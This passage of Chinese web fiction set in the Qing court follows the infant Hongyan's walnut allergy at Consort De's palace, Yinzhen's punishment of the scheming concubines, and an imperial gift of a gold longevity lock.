一旁的康熙见状,退了出来,脸上带着愠色,冲着梁九功喊道:“太医呢?” 梁九功闻言,弓着身子回答道:“皇上,已经差人去传了,太医马上到。” 而此时,胤禛也坐在床榻旁,用温和的语言哄着弘晏。 不一会儿,许太医气喘吁吁的拎着药箱赶来,进了内殿后,正欲给康熙行礼,便见康熙皱着眉头喊道:“还行虚礼做什么,快瞧瞧小阿哥。” “嗻。” 许太医大气儿也不敢喘,应了一声,便往拔步床的方向去。 而胤禛扶住满眼担忧的乌拉那拉氏站到了一旁,将地方让出来给许太医诊治。 许太医诊脉过后,又瞧了弘晏身上的红疹子,便断定弘晏是过敏所致。 随即,许太医便请乌拉那拉氏将弘晏的衣服脱下,自己则打开药箱配药。 弘晏现在痒的难受,在拔步床上直打滚,光凭乌拉那拉氏一个人,难以顺利的将衣裳脱下,胤禛便伸手拉住弘晏乱踢的腿,但又不敢太用力,免得伤到了弘晏。 乌拉那拉氏趁着这个机会,利落的脱了弘晏上身的衣裳。 就这么一会儿功夫,不只胳膊上,就连后背也出了许多红疹子。 乌拉那拉氏心疼极了,眼底蒙上了一层氤氲,但还是强忍着将弘晏的裤子也脱了,幸好腿上还没有出疹子,乌拉那拉氏便又将裤子给弘晏穿上了。 被脱了衣裳和裤子的弘晏觉得有些羞耻,哇呜一声,哭了出来。 本宝宝活了几百年,从来没有这么丢人过!!! 乌拉那拉氏见状,便将弘晏搂在怀里,嘴里一直在不停地安慰着弘晏。 胤禛眉头紧皱,握紧了袖口下的拳头。 许太医听着弘晏凄惨的哭喊声,加快了手中配药的速度。 待药膏配好,许太医端着药碗,忙不迭的快步走过来。 乌拉那拉氏则将弘晏的小身子从自己怀里拉出来。 许太医小心翼翼的在弘晏身上的红疹子处涂抹药膏,先是从两只小胳膊开始。 在药膏涂在身上,凉丝丝的,并没有什么不适的感觉,是以弘晏乖乖的配合着许太医涂药。 许是弘晏哭累了,药膏涂完之后,竟然睡着了。 乌拉那拉氏将弘晏抱进怀里,小心的避开弘晏身上有药膏的地方。 康熙、德妃与胤禛都迈着步子出了内殿,许太医在叮嘱过乌拉那拉氏等药膏晾干,便可给小阿哥穿上衣服之后,便跟着往正殿去。 内殿里顿时安静了。 弘晏睡得并不安稳,皱着眉头,那小扇子似的睫毛上还挂着晶莹的泪水。 乌拉那拉氏一动不动的抱着弘晏,怕惊醒了弘晏,待弘晏身上的膏药干透后,忙不迭给弘晏穿上了衣服。 过敏还未治好,若是再染了风寒,那便是雪上加霜了。 而此时的正殿内,康熙端坐在紫檀木宝座上,德妃与胤禛分别站在两旁,许太医立在堂下,自觉的回禀道:“皇上,小阿哥的过敏并不严重,涂抹几日药膏,便会痊愈了。” 弘晏的哭声还萦绕在康熙耳畔,如今听了许太医的话,心下稍安,随即,康熙开口问道:“依你之见,小阿哥因何物而过敏?” 许太医听罢,拱手回禀道:“皇上,个人体质不同,过敏之物自然也不同,只是小阿哥是突发过敏,想必是吃了之前未曾吃过的东西,或者是用了之前未曾用过的东西。” 康熙听罢,看向了胤禛。 胤禛见状,朝着康熙微微低头,仔细回想道:“汗阿玛,弘晏的衣食起居都是福晋和奶嬷嬷在照料,绝不会有问题。” 康熙微微颔首。 许太医闻言,又道:“敢问皇上,小阿哥感觉身痒之前,可曾服用或接触过什么?” 根据时间推算,小阿哥若是在雍王府接触了过敏之物,只怕早就发作了。 想来小阿哥便只有在永和宫接触了什么东西,才导致的过敏。 只是德妃娘娘与雍亲王母子失和,有些话可不是他一个奴才能直接说出口的。 听了许太医的话,康熙明了,八成是入口的东西才让弘晏过敏。 康熙抬眸看向许太医:“小阿哥方才吃了豌豆黄和鸡蛋羹。” 许太医听罢,朝着胤禛拱手到道:“敢问四爷,这两样东西,小阿哥在王府时可曾服用过?” 胤禛点头道:“都吃过,并未有不妥。” 这两样吃食都是常见的,弘晏都吃过,还吃得很香。 许太医稍顿了顿,再次拱手道:“那敢问四爷,您可曾吃过?” 话说到这里,胤禛自然明白了太医的意思,兀自迈步走过去,从盘子里拿起一块豌豆黄咬了一口,吞咽下以后,胤禛又端起那碗弘晏吃了一半且凉透了的鸡蛋羹,拿起调羹舀了一口仔细品尝着。 末了,胤禛将碗放下,对着许太医说道:“这鸡蛋羹的味道,似与王府的有些不同……” 不待胤禛说完,德妃便忍不住了:“老四,你这话是什么意思,你难不成怀疑本宫用鸡蛋羹害你的儿子,我自己的亲皇孙?” 豌豆黄是弘晏自己要吃的,鸡蛋羹却是她推荐弘晏吃的,胤禛偏偏说鸡蛋羹有问题,岂非是在康熙面前上眼药。 胤禛就这么恨她? 难道她会愚蠢到在自己的地盘害自己的孙子? 德妃的质问声音量很高,一墙之隔的内殿里听得清清楚楚,乌拉那拉氏讥讽般的扯了扯嘴角。 随即,乌拉那拉氏低下头,用手轻轻抚摸着在她怀里酣睡的弘晏。 正殿里的康熙,瞧着德妃这幅张牙舞爪的模样,眉头一蹙,喝道:“德妃,你失心疯了?” 瞧着康熙满脸愠色,德妃赶忙福身道:“臣妾知错,臣妾也是关心则乱,才殿前失仪,还望皇上恕罪。” 现在的当务之急是找出致使弘晏过敏之物,康熙没有心思与德妃计较长短,抬了抬手,示意德妃起身。 转而,康熙抬眼对着胤禛说道:“老四,你继续说。” 第30章 第30章物归原主 胤禛忍下因德妃的话而产生的不悦心情,颔首道:“回汗阿玛,这鸡蛋羹里儿臣品出有核桃的味道,雍王府的鸡蛋羹中却没有。” 之前弘晏吃鸡蛋羹时,曾闹着让他吃过,是以他很确信。 胤禛这话一落地,许太医当时心里就有了谱,对着康熙拱手道:“皇上,鸡蛋羹的通俗做法一般会在其中滴入麻油来增香,而宫里的做法却是滴入核桃油。” 康熙听罢,看向了身旁的梁九功。 梁九功心领神会,立马命永和宫小厨房里负责做鸡蛋羹的奴才来御前问话。 诚如许太医所说,这奴才在做鸡蛋羹时,为了使鸡蛋羹的口感更滑嫩,放入了核桃油,而非麻油。 胤禛闻言,对着康熙说道:“汗阿玛,弘晏他的确从未吃过核桃,想必也就是这个缘故了。” 康熙正欲说话,却被德妃抢了先:“老四,你也不是第一次做阿玛了,怎么这么不当心,孩子对核桃过敏都不知晓。” 还连累她担惊受怕一场。 德妃的突然发难,康熙率先黑了脸:“行了,天下之物广博,若非亲身体会,岂知能用否?弘晏此遭,也算因祸得福了。” 最起码,知晓了核桃碰不得。 瞧着康熙紧绷着一张脸,德妃没了嚣张的气焰,而是捏着帕子讪讪的开了口:“臣妾也是心疼弘晏,那么小的孩子,却受这般罪。” 康熙面容稍缓,对着许太医吩咐道:“去雍亲王府里好生照料小阿哥。” 许太医闻言,立马打千儿道:“奴才谨遵圣喻。” 胤禛亦冲着康熙微微颔首道:“多谢汗阿玛。” 随后,乌拉那拉氏抱着弘晏出了内殿,与胤禛一起向康熙行礼过后,便打道回了雍亲王府。 出了这么档子事儿,康熙也没了雅兴,起身出永和宫之前,缓缓开了口:“爱妃既然有心眷写佛经,便当日日勤勉,佛祖感念其诚心,也会保佑小福宝早日痊愈。” 德妃的眸子里划过一丝错愕,随即笑吟吟的答应下来,可藏在锦帕下那掐进手心的指尖,彰显着德妃的不甘。 虽说是虚惊一场,但是弘晏到底是在永和宫出了意外,皇上还是迁怒了她。 眷写佛经? 真真是搬起石头,砸了自己的脚。 这厢,胤禛与乌拉那拉氏已然坐上了回府的马车。 弘晏有恙,夫妻两个兴致不高,车厢里安静的如一潭死水。 片刻之后,胤禛瞧着窝在乌拉那拉氏怀里熟睡的弘晏,低低的开了口:“爷来抱吧。” 话说着,胤禛便伸出了双手。 从永和宫出来,一直到现在,都是福晋抱着弘晏,手臂应当酸麻了。 乌拉那拉氏置若罔闻,一双美眸如平静的湖面,未曾泛起一丝波澜,身子更是一动不动,丝毫没有将弘晏交给胤禛来抱的意思。 胤禛见状,眸子微动,悬在空中的两只手,默默收了回去。 待马车稳稳在雍亲王府正门前停下,胤禛率先下了马车。 乌拉那拉氏抱着弘晏,紧跟着从车厢里探出头来,却瞧见一双宽大有力的手伸过来。 乌拉那拉氏明白,胤禛这是想将弘晏接过去,但乌拉那拉氏却径直忽略了胤禛的手,自顾自的抱着弘晏踩着红木矮凳下了马车,便踏着花盆底进了雍亲王府。 苏培盛等人包括许太医在内,见此场景眼神中皆是一惊,但都识相的低了低头,装作什么也没有看见。 再次被福晋忽略为空气,胤禛当然明白福晋心里窝着气,可他又何尝不是。 胤禛出声喊了一句:“苏培盛。” 这声音不怒自威。 苏培盛忙不迭上前一步,弓身道:“奴才在。” 胤禛黑曜石般的眸子里泛起凌厉的光:“去查。” 他总觉得今日之事,没那么简单。 苏培盛点头道:“嗻。” 话音刚落,胤禛迈步进了雍亲王府,许太医则不紧不慢的跟在后面。 不过一刻钟的功夫,雍亲王府的女眷们便知晓弘晏在永和宫出了意外,皇上还特意赐了太医诊治,便不约而同的来正院探望。 乌拉那拉氏将弘晏安置在正院内室的拔步床上,寸步不离的守着弘晏,在外间的胤禛,直接让苏培盛出去将众人挡了回去。 女眷们自然明白这个档口胤禛与乌拉那拉氏无心见她们,可应有的礼数还是要走一趟的。 其余人早早的离开了正院,只冯格格望了一眼紧闭着的门窗,才迈步离开了正院。 随后,冯格格加快脚步撵上了快要到碧波苑的李侧福晋。 “李姐姐,李姐姐。” 冯格格三步并作两步,边走边喊。 李侧福晋闻言,停了脚步,扭过头看向追上来的冯格格。 终于赶上来的冯格格环顾四周,确认这里没有外人之后,便才开口问道:“李姐姐,连皇上都惊动了,六阿哥他……” 后面的话,冯格格没有说下去。 正院门窗紧闭,六阿哥严重与否,她无从得知。 李侧福晋听罢,抬手扶了扶鬓边的金镶红宝石珠钗,不以为意道:“过敏而已,应无大碍,再说了六阿哥可是在永和宫出的事儿。” 冯格格捏着帕子,不安的开了口:“可是……” 李侧福晋不耐烦的打断了冯格格的话:“可是什么,你若无正经事,本侧福晋可没闲功夫陪你吹风。” 话音落下,李侧福晋转过身,甩着帕子扭着腰回了碧波苑。 冯格格见状,只得改步回了自己所居住的揽霞居。 王府尚且如此,紫禁城更是没有不透风的墙,消息从宫里传扬到宫外,也不过个把时辰的功夫。 十三阿哥胤祥最先得了消息,当即就带着福晋兆佳氏来雍亲王府探望弘晏。 巧的是,胤祥夫妇前脚到了雍亲王府,后脚十四阿哥胤禵带着福晋完颜氏就跟着来了。 胤祥夫妇来时,弘晏正好醒了,那药膏药效已过,弘晏又开始抓挠自己的小胳膊,乌拉那拉氏便抱着弘晏出了内室,在外间的檀木小榻上坐下,给弘晏涂药膏。 十三福晋兆佳氏跟着坐下,抬手擒住了弘晏的两只小手,以免他抓伤自己,更是方便乌拉那拉氏将弘晏身上的衣裳脱下。 而胤禵夫妇踏进正院时,正好瞧见了乌拉那拉氏与兆佳氏给弘晏涂药的情景。 胤禵在贝子府听说了永和宫发生的事儿,本是来雍亲王府找胤禛兴师问罪的。 额娘又不知弘晏吃不得核桃,让小厨房做鸡蛋羹更是出于一片慈爱之心,如今阴差阳错出了意外,汗阿玛责罚了额娘,他这四哥竟也不为额娘辩解一二。 来雍亲王府的路上,胤禵已经憋了一肚子的火气,只是如今瞧见了坐在乌拉那拉氏怀里,正哼哼唧唧的小弘晏身上浮现出的一大片一大片的红疹子时,当即惊住了。 站于胤禵身旁的完颜氏瞧 见了这情形,脸上不禁浮现了担忧之色。 此时,胤禵缓缓张了口:“弘晏,可好些了?” 胤禛闻言,不咸不淡的答道:“好否?你不是瞧见了?” 他才不信胤禵是专程过来探望弘晏的。 胤禵听了胤禛的话,眉头一拧,瞧了一眼同胤禛坐在一块的胤祥,方才道:“汗阿玛都责罚过额娘了,四哥还不依不饶的,莫不是我来探望侄子也有了错?” 果然,这才是胤禵专程来雍亲王府的缘由。 胤禛掩下思绪,一脸淡漠道:“你若觉得汗阿玛不公允,该进宫去陈情。” 胤禵听了胤禛的话,灭下的火气又从胸腔里蹿了出来,但他理智尚存,顾及着弘晏的身子,又不想让胤祥看了他们亲兄弟的笑话,只斜睨了胤禛一眼,便要转身离去。 “慢。” 胤禛的话音落地,胤禵停了脚下的步子。 胤禛望向苏培盛。 苏培盛心领神会,捧着一个檀木小盒呈到了胤禵面前。 胤禵见状,拿过盒子直接打开了盖子,里面放着的俨然是一把长命锁。 胤禵一头雾水,不解的看向安稳的坐在檀木椅子上的胤禛。 胤禛抬起眸子,缓缓开了口,语气平淡:“这是你幼时佩戴过的长命锁,如今物归原主。” 听了胤禛的话,胤禵仍旧有些狐疑。 幼时佩戴过的长命锁? 他自己怎么不记得。 再说了,他幼时的长命锁怎么在胤禛这里,大概率是额娘又给了弘晏的吧。 罢了,既然是他自己的东西,收着便是。 思及此,胤禵合了檀木小盒,迈步出去了。 完颜氏冲着胤禛等人微微颔首后,方才离开。 回贝子府的马车里,胤禵将长命锁拿出来仔细端详,还是一点儿印象也没有,索性将长命锁放进了盒子里,自顾自的说道:“兰儿再有一两个月便要临盆了,这长命锁给未出世的孩子刚好,福晋觉得如何?” 完颜氏扯了扯嘴角,阴阳怪气的甩了下帕子:“这长命锁是爷的,爷想给谁,自然就是谁的。” 胤禵“呲”了一声,不满道:“一个长命锁罢了,也值得你计较,弘明和弘暟幼时又不是没有。” 完颜氏闻言,回嘴道:“我说的话入不了爷的耳,爷既然自己有了主意,又何必再问我。” 就像今日这般,若不是胤禵非要拉着她同行,她才不愿跑这一趟。 瞧着顶嘴的福晋,胤禵愤愤道:“爷方才受了老四那家伙的气,如今,还得看你的脸色行事了?” 胤禵不自觉提高了音量,完颜氏心中的火苗也燃了起来,回怼道:“你受气?那还不是你自找的。” “你……” 先在胤禛那里吃了瘪,现又被福晋指着鼻子骂,胤禵气急了,直接扬起了手。【你现在阅读的是 】 30-40 第31章 第31章愚不可及 瞧着眼前胤禵高高举起的手,完颜氏先是一怔,而后却笑了,不躲反而迎了上去:“打,你打/死我,我给你腾地方,你好娶个新的来。” 完颜氏说完,满腹委屈涌上心头,举起手中的锦帕掩面抽泣起来。 胤禵理智回笼,将手放下了,转而去揽完颜氏,却被完颜氏用肩膀推开。 胤禵只得细声细语哄了起来。 —— 雍亲王府内。 乌拉那拉氏与兆佳氏带着弘晏在屋子里玩,胤禛与胤祥则去了书房商议正事。 午时将至,胤禛留了胤祥夫妇用午膳后,胤祥夫妇便告辞回府了。 而苏培盛手脚麻利,很快就查清了事情的缘由。 原是李侧福晋对乌拉那拉氏罚她眷写佛经,心怀不满,便拉拢了冯格格,待佛经眷写完毕后,借着冯格格的路子送到了永和宫德妃处,与佛经一块送进去的还有一只翡翠玉镯。 这才有了后来的传召乌拉那拉氏与弘晏进宫。 胤禛听到这里,还有什么不明白的。 德妃得了李侧福晋的孝敬,以弘晏为幌子,顺手磋磨乌拉那拉氏,立自己的威风,只是没有想到汗阿玛会跟着自己去了永和宫,更没有料到弘晏会对核桃过敏,将一件小事弄的人尽皆知了。 乌雅格格与冯格格本就是德妃赐予他的,名为侍妾,实为眼线,他虽然未曾宠幸过,但也是锦衣玉食的养在后院,不承想,他的不闻不问倒是养大了她的狗胆。 胤禛眉眼一沉,脸色难看的厉害,出声喊道:“苏培盛。” 苏培盛垂眉敛目:“奴才在。” “冯氏突发恶疾,挪去庄子上将养,李氏言行无状,即日起禁足碧波苑,每日眷写佛经两个时辰,静思己过。” 胤禛话音落下,苏培盛正要应声去办,一旁的乌拉那拉氏却开了口:“礼佛需心诚,眷写佛经之外,吃斋、早晚诵经也是不能少的。” 苏培盛听罢,迟疑的看向了胤禛,等着胤禛示下。 瞧着胤禛一言不发,苏培盛便朝着乌拉那拉氏颔首道:“奴才这就去办。” 而窝在乌拉那拉氏身旁知晓真相的弘晏,真想为自家额娘竖大拇指。 冯格格蠢,李侧福晋更是愚不可及,他现在总算是明白弘时将来为什么会被胤禛厌弃了。 原来都是随了大聪明李氏。 德妃本就偏心,换做雍亲王府其他人,躲都来不及,李氏却眼巴巴的凑上去,为了出口气,竟然让德妃整治自己额娘。 殊不知,他与额娘在永和宫受气,就是德妃在打胤禛的脸。 弘晏正想着,突然被自家额娘抱了起来:“福宝,外面天好儿,额娘抱你去花园走走。” 话音落下,乌拉那拉氏抱着弘晏直接出了屋子,连个正眼都没有给胤禛。 弘晏明白了,自家额娘对便宜阿玛开启了冷战模式。 拥有上帝视角的弘晏自然明白,乌拉那拉氏经历了丧子之痛,多年后才又有了孩子,自然看的跟命根子一般。 虽说在这件事情里,便宜阿玛也是个无辜之人,可谁让他有个偏心眼儿偏到太平洋的额娘和拎不清、分不清大小王的小老婆们呢。 额娘只有他一个,他当然要站额娘了。 乌拉那拉氏脚步快,很快就到了花园里。 暖洋洋的阳光像金子一样洒在地上,林荫处树影斑驳,蝴蝶与蜜蜂在盛开的花朵上盘旋采蜜,瞧着这景儿,不说弘晏,连乌拉那拉氏的心情都好多了。 弘晏指着前方盛开的一朵粉蓝月季,喊道:“额凉,花花。” 乌拉那拉氏迈起步子,顺着弘晏手指向的地方走去。 待走到了这朵粉蓝月季花前,弘晏的小身子向前倾斜,伸出手努力采下了这朵娇艳欲滴的花,随即笑嘻嘻的将花送到乌拉那拉氏面前。 乌拉那拉氏见状,配合着低头凑近,闻了闻后笑道:“好香的花。” 随着乌拉那拉氏的话音落下,弘晏抬起手,五官一皱,连小脸蛋儿都再跟着用力,终是将花簪在了乌拉那拉氏的鬓边。 弘晏点了点头,对于自己的审美十分满意:“额凉,好看。” 乌拉那拉氏笑了,凑过去在弘晏脸上“啵啵”亲了两下,随后将弘晏抱进怀里,抚摸着弘晏的后背,满是欣慰道:“福宝,好孩子。” 这孩子,瞧得出来她心情不好,还会簪花哄她开心。 弘晏贴在乌拉那拉氏怀里,奶呼呼唤道:“额凉~” —— 这厢,天刚一擦黑,苏培盛带着四个小太监气势汹汹去了揽霞居。 揽霞居里本住着乌雅格格和冯格格,一听到动静,两个人便都出来了。 冯格格瞧着这阵仗,笑吟吟喊道:“苏公公,可是爷有什么吩咐?” 苏培盛皮笑肉不笑的说道:“冯格格,得罪了。” 话音落下,苏培盛一个手势,位于身后的两个小太监立马上前来,从袖子里掏出麻绳便要捆,冯格格大惊,刚要说话,便被抹布堵住了口,冯格格的心腹丫鬟也不例外。 不过片刻功夫,冯格格主仆二人五花大绑的跟个肉粽似的就被小太监们押送出了揽霞居的院子。 /:.,, 而乌雅格格早在瞧见了冯格格被捆起来的时候,就关上了自己的房门,不再瞧热闹。 屋内,坐在绣墩上的乌雅格格两只手正无措的团着手帕,一颗心慌的厉害。 四爷 此举,是一点儿都不顾及着德妃娘娘的脸面了。 冯格格这是犯了什么错? 莫不是六阿哥…… 乌雅格格思忖间,门外响起了苏培盛的声音:“乌雅格格,奴才苏培盛求见。” 乌雅格格忙不迭让人打开了房门,抬步走了出去,微微颔首道:“敢问公公有何事?” 苏培盛朝着乌雅格格颔首回礼,紧接着出声道:“夜深了,扰了您的清净,奴才特来赔不是。” 乌雅格格闻言,眼睫一闪,忙开口:“公公这话可是折煞我了,您是爷身边的人,自然是爷吩咐的差事要紧。” 苏培盛听罢,点头道:“多谢乌雅格格体恤,奴才这便告辞了。” 乌雅格格微微欠身。 待苏培盛出了揽霞居的院子,乌雅格格松了一口气,迈步回了屋子。 “格格,那冯格格……” 不待丫鬟松枝的话说完,乌雅格格便开口打断:“今晚我安寝的早,外面的事儿,咱们可什么也不知道。” 松枝连连应是。 那厢,装着冯格格主仆二人的马车,趁着月色已经往京郊的方向驶去了。 第二天清早,李侧福晋被禁足与冯格格被送到庄子上养病的事情,已然传遍了雍亲府上下。 众人稍一打听,便能知晓其中内情。 邀月轩的耿格格心里有些愧疚,若是将这几件事情串起来,还有她们母子的原因在,是以耿格格便想带着弘昼去正院一趟,一来是给乌拉那拉氏请安,二来也是探望弘晏的病情。 弘昼听到耿格格要带他去正院别提有多高兴了。 本来昨日他就想去看望弟弟的,可是额娘不让,今天他可要把自己的小零嘴儿带上,让弟弟也尝尝。 耿格格见弘昼要把装零嘴儿的荷包塞进怀里,开口解释道:“弘昼,六阿哥本是对吃食过敏,你这些零嘴儿也不知道六阿哥能否吃得,还是别带着了。” 多一事,不如少一事。 弘昼听罢耿格格的话,觉得有道理,就放弃了给弘晏带零嘴的想法。 收拾妥当,耿格格母子两个便往正院去了。 彼时的弘晏正窝在乌拉那拉氏怀里,撒娇要糕点吃。 乌拉那拉氏心有余悸,便只给弘晏喂了他曾吃过的几样糕点。 银烛进来禀报耿格格母子来请安的消息时,弘晏眼睛一亮。 少顷,耿格格带着弘昼进来,便朝着乌拉那拉氏行礼请安。 乌拉那拉氏示意耿格格坐下时,弘昼便松了耿格格的手,颠颠的跑到了弘晏面前,歪着小脑袋问道:“弟弟,你好些了吗?还痒吗?” 弘晏笑嘻嘻道:“锅锅,窝好多了。” 听了弘晏的话,弘昼便放了心。 “弟弟,你看。” 弘昼说完,神秘兮兮的从鼓鼓囊囊的怀里拿出来一个蝈蝈笼子。 弘晏定睛一看,那小巧的竹编笼子里有一只浅绿色的蝈蝈。 弘昼见弘晏眼睛亮亮的,便知晓自己送对了礼物,有些骄傲的说道:“弟弟,笼子是我额娘编的,蝈蝈是我自己捉的,送给你。” 弘晏脸上露出了甜甜的笑,接过蝈蝈笼子说道:“锅锅,蟹蟹。” 弘昼挠了挠自己的小脑袋:“嘿嘿,你喜欢就好。” 今个儿日头也好儿,乌拉那拉氏见状,便叫王乳娘带着两个孩子到院子里玩去了。 两个孩子蹦蹦跳跳的很快就出了汗,王乳娘与秋叶分别拿着帕子给弘晏和弘昼擦脸上的汗珠,随后便将两个孩子带进了屋子里。 流萤端着托盘进来,分别给两个孩子奉上热牛乳。 弘晏是有些渴了,大口大口的喝着牛乳,弘昼喝牛乳的速度更快,一眨眼的功夫就见了底。 乌拉那拉氏笑问弘昼要不要再来一碗,弘昼点了点头。 等待牛乳端上来的时候,弘昼拿了一块豌豆黄开始吃。 耿格格本就有些拘谨,见自己儿子却大吃大喝的,脸上更是有些不好意思。 乌拉那拉氏瞧出了耿格格的心思,笑道:“能吃是福,弘昼这孩子你养的很好。” 很快,弘昼喝完了第二碗牛乳,忍不住打了一个饱嗝,闹得脸皮儿薄的耿格格脸上一红。 弘晏却喜欢弘昼这种真诚不做作的模样,将大拇指竖起来喊道:“锅锅,棒。” 弘昼见状,摸了摸肚皮,嘿嘿一笑。 最后耿格格带着弘昼离开时,兄弟两个还可可爱爱的挥手拜拜呢。 今日耿格格虽然嘴上不说,但乌拉那拉氏心里明白耿格格的来意,她也深知耿格格是个老实本分、知恩图报的人。 那弘昼虽然性子有些顽皮,但也是个心性纯良的好孩子,既然弘晏跟弘昼相处的融洽,她愿意让耿格格多带着弘昼来正院坐坐,弘晏也好多个玩伴。 第32章 第32章御赐金锁 耿格格母子走后没多久,宫里就来了人,正是在康熙身边当差的魏珠。 乌拉那拉氏得知消息,忙不迭站起身来迎接。 要知道,魏珠的地位可是仅次于总管太监梁九功的。 不多时,魏珠迈步进来,朝着乌拉那拉氏母子打千儿道:“给四福晋请安,给六阿哥请安。” 魏珠话音落下,乌拉那拉氏对着魏珠微微颔首。 魏珠笑得和煦:“福晋,皇上挂念六阿哥,特命奴才走一趟。” 乌拉那拉氏闻言,看了一眼身边的小团子,言道:“多谢汗阿玛惦记,这孩子好多了。” 听着乌拉那拉氏的话语,魏珠的视线也看向了坐在小榻上的弘晏。 弘晏抬眼,正好对上了魏珠的视线。 面前眉清目秀的小太监,瞧着自己的眼神里很是干净,甚至还带着一丝慈爱,弘晏便礼貌的露出了一个甜甜的笑容。 魏珠被弘晏萌萌的笑容击中,心中一软,嘴角微微上扬,随即对着乌拉那拉氏说道:“瞧奴才这记性,险些将皇上赐给六阿哥的礼物忘了。” 待魏珠话音落下,跟在魏珠身后的小太监迈步上前,在弘晏身旁停下,而后侧身站立,将手中的檀木描金长方盒打开了。 映入弘晏眼帘的便是一个金灿灿的长命锁,那长命锁做工精巧,上面雕刻着福禄花纹,长命锁的中央位置更是镶嵌了一个鸽子蛋儿那么大的红宝石。 弘晏的目光被长命锁深深吸引,随即伸手将长命锁从盒子里拿了出来。 这长命锁握在手里沉甸甸的,弘晏险些没拿住。 这厢,乌拉那拉氏笑吟吟的对着魏珠说道:“有劳公公跑一趟,劳烦公公转达汗阿玛,待弘晏痊愈,定带着他进宫谢恩。” 乌拉那拉氏话音落下,银烛迈步过去,递上一个鼓鼓囊囊的荷包。 魏珠笑着将荷包塞进了袖子里,便告辞回宫复命去了。 —— 到了午时,胤禛回了雍亲王府,径直去了正院。 待胤禛刚踏进门槛,小榻上的弘晏伸出两只手来,而后高高的将长命锁举起来给胤禛显摆。 乌拉那拉氏见状,宠溺的摇了摇头。 胤禛笑着走过去坐下,一把将弘晏抱坐在自己的大腿上,看向了坐在对面的乌拉那拉氏。 胤禛反应平平,弘晏明白,便宜阿玛这是早就知道了。 乌拉那拉氏抬眸,问道:“爷,汗阿玛为何会突然赏赐长命锁?” 胤禛嘴角一勾:“什么都瞒不过福晋,爷只不过让人将当日的消息散出去罢了。” 话音落下,胤禛端起青花缠枝纹茶盏,抿了一口茶。 弘晏这下子可明白了,原是便宜阿玛故意将德妃送自己胤禵戴过的长命锁的消息,散到了康熙耳朵里。 再加之他本就因德妃小厨房做的鸡蛋羹过了敏,使得康熙明白德妃偏心胤禵,自己作为胤禛的儿子可是受了莫大的委屈。 是以,康熙特意命身边的心腹魏珠送来足金的长命锁,一来是安抚便宜阿玛,二来也是给自己撑腰。 毕竟,长命锁常有,而康熙亲赐的长命锁可就不常有了。 弘晏现在有些明白便宜阿玛为什么会笑到最后,登临大位了。 便宜阿玛看上去与世无争,其实城府深的很,手段都在暗戳戳的用。 胤禛发觉了怀里的弘晏一直在望着自己,挑眉问道:“福宝,不认识阿玛了?” 弘晏嘿嘿一笑,小脑袋凑上去靠在胤禛怀里蹭来蹭去:“阿玛,阿玛。” 他的长命锁到手,便宜阿玛有一半的功劳,他可是知恩图报的好孩子。 胤禛听着弘晏一口一个“阿玛”叫着,心里别提多美了,是以也起了陪儿子玩的雅兴。 就当胤禛伸手去拿小榻上的长命锁时,却被眼尖的弘晏快了一步。 下一瞬,只见弘晏如老母鸡护崽般的用两只手将长命锁攥在手里,一本正经的气鼓鼓道:“窝滴。” 他和便宜阿玛贴贴,便宜阿玛却惦记他的长命锁。 弘晏这可爱的模样,别说乌拉那拉氏笑得拿帕子掩着唇,来维持端庄的形象,就连不苟言笑的胤禛也忍不住笑出了声。 胤禛抬手捏了捏弘晏肉嘟嘟的脸颊:“好,都是你的,阿玛不要。” 弘晏听罢,转而看向了乌拉那拉氏。 乌拉那拉氏明白弘晏的意思,笑着道:“流萤,将阿哥的长命锁放好,锁起来。” 流萤应了一声,迈步上来,郑重的接过了弘晏手中的长命锁,转而走进了内室去。 胤禛见状,看着弘晏问道:“福宝,长命锁交给你额娘保管着放心,怎么,不放心给阿玛收着?” 弘晏思考了一秒钟这个问题,随即,对着满是期待的胤禛,一本正经的点了点小脑袋。 胤禛:“……” 他就多余问。 午膳过后,流萤拿了药膏过来,该是给弘晏上药的时候了。 胤禛见状,将手中的茶盏放下,随即抬起了手掌。 流萤心领神会,改步走过去将药膏放在了胤禛手心里。 乌拉那拉氏则将弘晏的衣裳脱下,转而将小团子放在了胤禛的大腿上。 许太医的药膏极好,弘晏那白白胖胖的肌肤上的红疹子已然由红变粉了。 胤禛取了药膏来,眼神专注,动作极其轻柔的将药膏涂抹在弘晏身上的疹子处,转而用指腹的力量,一点点儿的将药膏揉搓开来。 昨日涂抹了一日的药膏,弘晏早就不觉得身上痒了,是以很舒服的享受着便宜阿玛的服务。 待药膏涂完,弘晏打了一个大大的哈欠,眼睛里也有了迷离的困意。 胤禛见状,便让弘晏靠在自己怀里。 有了支点,弘晏的眼皮子很快耷拉下来。 不一会儿,胤禛便听见怀中传来均匀绵长的呼吸声,弘晏已然进入了梦乡。 此时若是给弘晏穿上衣裳,怕是会弄醒小团子,胤禛便直接抱着弘晏进了内室,小心翼翼的将弘晏平放在拔步床上,而后大手一拉将被子盖在弘晏身上,又给弘晏掖好了被角之后,方才迈步离开。 一个时辰后,弘晏睁开了朦胧的眼睛,随即抬手揉了揉眼睛,眼前看到的世界方才完全清晰。 只是弘晏从拔步床上坐起来之后,才发现自己还赤/裸着上身呢。 震惊过后,弘晏想起来了。 好像是自己在便宜阿玛给自己涂药膏的时候睡着了,便宜阿玛八成是把惊醒自己,才没有给自己穿衣服吧。 寻回了睡前的记忆,弘晏的大眼睛在拔步床上扫视了一圈后,发现床上压根没有自己的衣裳。 于是,弘晏便冲着紧闭的隔扇门喊了两声:“额凉,额凉。” 弘晏的声音落地不久,乌拉那拉氏便推门进来,身后跟着的流萤手上正拿着自己的衣裳。 乌拉那拉氏笑眯眯的坐在拔步床沿,边说着:“福宝睡醒了。”边着手给弘晏穿衣裳。 王乳娘端着铜盆进来放在了面盆架子上,待浸湿了巾帕,拧干水之后,抬步走过来递给了乌拉那拉氏。 乌拉那拉氏拿着这温热的帕子,满脸温柔的给弘晏擦脸、擦手,随后直接将弘晏抱出了内室,放在了外间的檀木小榻上。 弘晏摸着自己瘪下去的小肚子,抬眼对乌拉那拉氏唤道:“额凉,窝饿了。” 不多时,弘晏面前多了一碗冒着热气的牛乳和半块豌豆黄。 吃饱喝足,弘晏便呆不住了,想要去外面的园子里逛逛,因着乌拉那拉氏还要处理府里的庶务,便吩咐王乳娘陪着弘晏到外面走走。 王乳娘本想抱着弘晏去外面溜达,弘晏却不依,王乳娘只好放慢脚步,跟在弘晏身后慢悠悠的走着。 原来乌拉那拉氏或者王乳娘抱着他逛园子时,他还觉得园子离正院挺近的,这回自己走起来,才恍然明白这路程有多远,对整个雍亲王府的地盘也有了更加具体的认识。 王乳娘见弘晏走的有些勉强了,出声道:“六阿哥,您歇一歇,奴婢抱您走吧。” 